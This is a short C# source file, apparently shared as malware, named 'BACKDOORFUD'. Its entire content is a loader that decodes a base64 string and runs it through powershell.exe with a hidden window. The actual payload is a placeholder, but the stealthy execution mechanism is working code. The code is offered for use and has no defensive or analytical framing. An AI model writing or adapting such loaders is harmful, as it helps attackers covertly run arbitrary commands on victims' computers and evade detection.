C#

# Code by KitHulk

using System;
using System.Collections.Generic;
using System.Text;

namespace BACKDOORFUD
{

	class Program
	{
		static void Main(string[] args)
	{
		byte[] data = Convert.FromBase64String("code payload base64encode");
		string decodedString = Encoding.UTF8.GetString(data);
		System.Diagnostics.Process process = new System.Diagnostics.Process();
		System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
		startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; startInfo.FileName = "powershell.exe";
		startInfo.Arguments = decodedString; process.StartInfo = startInfo; process.Start();
	}
	}
}